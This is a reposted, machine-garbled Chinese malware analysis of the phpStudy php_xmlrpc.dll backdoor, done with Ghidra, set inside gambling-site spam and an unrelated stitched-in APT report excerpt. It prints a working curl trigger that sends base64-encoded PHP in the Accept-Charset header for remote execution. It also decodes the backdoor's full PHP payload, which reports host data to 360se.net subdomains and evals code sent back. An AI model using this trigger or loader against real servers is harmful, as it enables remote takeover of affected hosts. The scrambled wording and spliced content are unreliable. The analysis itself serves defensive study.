运用 Ghidra 剖析 phpStudy 后门 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

运用 Ghidra 剖析 phpStudy 后门

申博_安全预警 申博 37次浏览 未收录 0个评论

申博Sunbet

申博Sunbet网是最全面的娱乐信息综合站点,包括明星、电影、电视、音乐等资讯提供申博Sunbet网注册登录服务以及相关实用信息,是您浏览娱乐八卦、明星写真最佳的娱乐性门户网站。

,

此次事宜已过去许多天,该相应的也都相应了,虽然网上有许多厂商及组织宣布了剖析文章,但纪录剖析历程的不多,我只是想正儿八经用 Ghidra 从头至尾剖析下。

1 东西和平台

重要东西:

· Kali Linux

· Ghidra 9.0.4

· 010Editor 9.0.2

样本环境:

· Windows7

· phpStudy 20180211

2 剖析历程

先在 Windows 7 虚拟机中装置 PhpStudy 20180211,然后把装置完后的目次拷贝到 Kali Linux 中。

依据网上公然的信息:后门存在于 php_xmlrpc.dll 文件中,内里存在“eval”关键字,文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d5。

因而,先去找到有后门的文件:

[email protected]:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \;3d2c61ed73e9bb300b52a0555135f2f7  ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll7c24d796e0ae34e665adcc6a1643e132  ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll3ff4ac19000e141fef07b0af5c36a5a3  ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dllc339482fd2b233fb0a555b629c0ea5d5  ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll5db2d02c6847f4b7e8b4c93b16bc8841  ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll42701103137121d2a2afa7349c233437  ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll0f7ad38e7a9857523dfbce4bce43a9e9  ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll149c62e8c2a1732f9f078a7d17baed00  ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dllfc118f661b45195afa02cbf9d2e57754  ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll

将文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 零丁拷贝出来,再确认下是不是存在后门:

[email protected]:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep [email protected](%s('%s'));%s;@eval(%s('%s'));

从上面的搜刮效果能够看到文件中存在三个“eval”关键字,如今用 Ghidra 载入剖析。

在 Ghidra 中搜刮下:菜单栏“Search” > “For Strings”,弹出的菜单按“Search”,然后在效果过滤窗口中过滤“eval”字符串,如图:

运用 Ghidra 剖析 phpStudy 后门

从上方效果“Code”字段看的出这三个关键字都位于文件 Data 段中。随意选中一个(我选的“@eval(%s(‘%s’));”)并双击,跳转到地点中,然后检察哪些地方引用过这个字符串(右击,References > Show References to Address),操纵如图:

运用 Ghidra 剖析 phpStudy 后门

效果以下:

可看到这段数据在 PUSH 指令中被运用,应该是函数挪用,双击跳转到汇编指令处,然后 Ghidra 会自动把汇编代码转成较高等的伪代码并呈如今 Decompile 窗口中:

运用 Ghidra 剖析 phpStudy 后门

假如没有看到 Decompile 窗口,在菜单Window > Decompile 中翻开。

在翻译后的函数 FUN_100031f0 中,我找到了前面搜刮到的三个 eval 字符,申明这个函数中能够存在多个后门(固然经由完全剖析后存在三个后门)。

这里插一句,Ghidra 转换高等代码才能比 IDA 的 Hex-Rays Decompiler 插件要差一些,比方 Ghidra 转换的这段代码:

puVar8 = local_19f;
while (iVar5 != 0) {
  iVar5 = iVar5 + -1;
  *puVar8 = 0;
  puVar8 = puVar8 + 1;
}

在IDA中翻译得就很直观:

memset(&v27, 0, 0xB0u);

另有对多个逻辑的推断,IDA 翻译出来是:

if (a && b){
...
}

Ghidra 翻译出来倒是:

if (a) {
  if(b) {
  }
}

而多层 if 嵌套浏览起来会常常迷路。总之 Ghidra 翻译的代码只要重复浏览后才晓得是干吗的,在明白这类代码上我花了好几个小时。

卡巴斯基:2019Q3高级持续性威胁(APT)趋势分析报告

前言 卡巴斯基全球研究与分析团队(GreAT)在近两年多来一直在发布高级持续性威胁(APT)活动的季度报告。这些报告内容主要基于我们的威胁情报研究,提供了我们在内部APT报告中已经发表、详细讨论的内容。我们希望通过该报告,突出展现应该充分引起大家关注的重大事件和发现。 本报告重点关注我们在2019年第三季度观察到的恶意活动。 重要发现 2019年8月30日,来自Google Project Zero团队的Ian Beer发表了一份分析报告,对在野外发现的14个iO

2.1 第一个长途代码实行的后门

第一个后门存在于这段代码:

iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,
                       s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
  uVar6 = 0xffffffff;
  pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;
  do {
    if (uVar6 == 0) break;
    uVar6 = uVar6 - 1;
    cVar1 = *pcVar9;
    pcVar9 = pcVar9 + 1;
  } while (cVar1 != '\0');
  iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28
                         );
  if (iVar5 != -1) {
    pcVar9 = s_gzip,deflate_1000ec74;
    pbVar4 = *(byte **)*local_28;
    pbVar7 = pbVar4;
    do {
      bVar2 = *pbVar7;
      bVar11 = bVar2 < (byte)*pcVar9;
      if (bVar2 != *pcVar9) {
      LAB_10003303:
        iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);
        goto LAB_10003308;
      }
      if (bVar2 == 0) break;
      bVar2 = pbVar7[1];
      bVar11 = bVar2 < ((byte *)pcVar9)[1];
      if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;
      pbVar7 = pbVar7 + 2;
      pcVar9 = (char *)((byte *)pcVar9 + 2);
    } while (bVar2 != 0);
    iVar5 = 0;
  LAB_10003308:
    if (iVar5 == 0) {
      uVar6 = 0xffffffff;
      pcVar9 = s__SERVER_1000ec9c;
      do {
        if (uVar6 == 0) break;
        uVar6 = uVar6 - 1;
        cVar1 = *pcVar9;
        pcVar9 = pcVar9 + 1;
      } while (cVar1 != '\0');
      iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +
                             0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);
      if (iVar5 != -1) {
        uVar6 = 0xffffffff;
        pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;
        do {
          if (uVar6 == 0) break;
          uVar6 = uVar6 - 1;
          cVar1 = *pcVar9;
          pcVar9 = pcVar9 + 1;
        } while (cVar1 != '\0');
        iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,
                               &local_1c);
        if (iVar5 != -1) {
          uVar6 = 0xffffffff;
          pcVar9 = *(char **)*local_1c;
          do {
            if (uVar6 == 0) break;
            uVar6 = uVar6 - 1;
            cVar1 = *pcVar9;
            pcVar9 = pcVar9 + 1;
          } while (cVar1 != '\0');
          local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);
          if (local_10 != (undefined4 *)0x0) {
            iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
            local_24 = *(undefined4 *)(iVar5 + 0x128);
            *(undefined **)(iVar5 + 0x128) = local_ec;
            iVar5 = _setjmp3(local_ec,0);
            uVar3 = local_24;
            if (iVar5 == 0) {
              zend_eval_string(local_10,0,&DAT_10012884,param_3);
            }
            else {
              *(undefined4 *)
                (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
                local_24;
            }
            *(undefined4 *)
              (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;
          }
        }
      }
    }
  }
 }

浏览起来非常复杂,也许逻辑就是经由过程 PHP 的 zend_hash_find 函数寻觅 $_SERVER 变量,然后找到 Accept-Encoding 和 Accept-Charset 两个 HTTP 要求头,假如 Accept-Encoding 的值为 gzip,deflate,就挪用 zend_eval_string 去实行 Accept-Encoding 的内容:

zend_eval_string(local_10,0,&DAT_10012884,param_3);

这里 zend_eval_string 实行的是 local_10 变量的内容,local_10 是经由过程挪用一个函数赋值的:

local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);

函数 FUN_100040b0 末了剖析出来是做 Base64 解码的。

到这里,就晓得该怎样组织 Payload 了:

Accept-Encoding: gzip,deflate
Accept-Charset: Base64加密后的PHP代码

朝虚拟机组织一个要求:

$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6

效果如图:

运用 Ghidra 剖析 phpStudy 后门

2.2 第二处后门

沿着伪代码继承剖析,看到这一段代码:

if (iVar5 == 0) {
  puVar8 = &DAT_1000d66c;
  local_8 = &DAT_10012884;
  piVar10 = &DAT_1000d66c;

  do {
    if (*piVar10 == 0x27) {
      (&DAT_10012884)[iVar5] = 0x5c;
      (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
      iVar5 = iVar5 + 2;
      piVar10 = piVar10 + 2;
    }
    else {
      (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
      iVar5 = iVar5 + 1;
      piVar10 = piVar10 + 1;
    }
    puVar8 = puVar8 + 1;
  } while ((int)puVar8 < 0x1000e5c4);
  spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784);
  spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018,
           local_8);
  iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
  local_10 = *(undefined4 **)(iVar5 + 0x128);
  *(undefined **)(iVar5 + 0x128) = local_6c;
  iVar5 = _setjmp3(local_6c,0);
  uVar3 = local_10;

  if (iVar5 == 0) {
    zend_eval_string(local_8,0,&DAT_10012884,param_3);
  }
  else {
    *(undefined4 **)
      (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10;
  }
  *(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
    uVar3;

  return 0;
 }

重点在这段:

puVar8 = &DAT_1000d66c;
local_8 = &DAT_10012884;
piVar10 = &DAT_1000d66c;
do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000e5c4);

变量 puVar8 是作为累计变量,这段代码像是拷贝地点 0x1000d66c 至 0x1000e5c4 之间的数据,因而选中切这行代码:

puVar8 = &DAT_1000d66c;

双击 DAT_1000d66c,Ghidra 会自动跳转到该地点,然后在菜单挑选 Window > Bytes 来翻开十六进制窗口,现已处于地点 0x1000d66c,接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来:

  1. 挑选菜单 Select > Bytes;

  2. 弹出的窗口中勾选“To Address”,然后在右边的“Ending Address”中填入 0x1000e5c4,如图:

运用 Ghidra 剖析 phpStudy 后门

按回车后,这段数据已被选中,我把它们零丁拷出来,点击右键,挑选 Copy Special > Byte String (No Spaces),如图:

运用 Ghidra 剖析 phpStudy 后门

然后翻开 010Editor 编辑器:

  1. 新建文件:File > New > New Hex File;

  2. 粘贴拷贝的十六进制数据:Edit > Paste From > Paste from Hex Text

然后,把“00”字节悉数去掉,挑选 Search > Replace,查找 00,Replace 那边不填,点“Replace All”,处置惩罚后以下:

运用 Ghidra 剖析 phpStudy 后门

把处置惩罚后的文件保存为 p1。经由过程 file 敕令得知文件 p1 为 Zlib 紧缩后的数据:

$ file p1
p1: zlib compressed data

用 Python 的 zlib 库就能够解压,解压代码以下:

import zlibwith open("p1", "rb") as f:
    data = f.read()
    print(zlib.decompress(data))

实行效果以下:

[email protected]:/tmp$ python3 decom.py
b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"

用 base64 敕令把这段 Base64 代码解密,历程及效果以下:

[email protected]:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 [email protected]_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
        if( !$handle ){
                return "err";
        }
  }
  fwrite($handle, $sendMsg."\n");
        while(!feof($handle)){
                stream_set_timeout($handle, 2);
                $result .= fread($handle, 1024);
                $info = stream_get_meta_data($handle);
                if ($info['timed_out']) {
                  break;
                }
         }
  fclose($handle);
  return $result;}$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {
        $n = false;
        foreach ($ds as $d){
                $b = false;
                foreach ($ps as $p){
                        $result = tcpGet($i,$d.".360se.net",$p);
                        if ($result != "err"){
                                $b =true;
                                break;
                        }
                }
                if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
                if (strpos($info[3],"/*Onemore*/") !== false){
                        $info[3] = str_replace("/*Onemore*/","",$info[3]);
                        $n=true;
                }
                @eval(base64_decode($info[3]));
        }}while($n);

2.3 第三个后门

第三个后门和第二个完成逻辑实在差不多,代码以下:

puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;

do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000d66c);

spprintf(&local_c,0,[email protected](%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884);
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_18 = *(undefined4 *)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_ac;
iVar5 = _setjmp3(local_ac,0);
uVar3 = local_18;

if (iVar5 == 0) {
  zend_eval_string(local_c,0,&DAT_10012884,param_3);
 }

重点在这段:

puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;

do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000d66c);

后门代码在地点 0x1000d028~0x1000d66c 中,提取和处置惩罚要领与第二个后门的一样。找到并提出来,以下:

[email protected]:/tmp$ python3 decom.py
b" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"

把这段Base64代码解码:

[email protected]:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 [email protected]_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else {
        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";        $out .= "Host: {$h}\r\n";        $out .= "Accept-Encoding: compress,gzip\r\n";        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);
        fclose($fp);}

原文地点: https://www.4hou.com/technology/21097.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明运用 Ghidra 剖析 phpStudy 后门
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址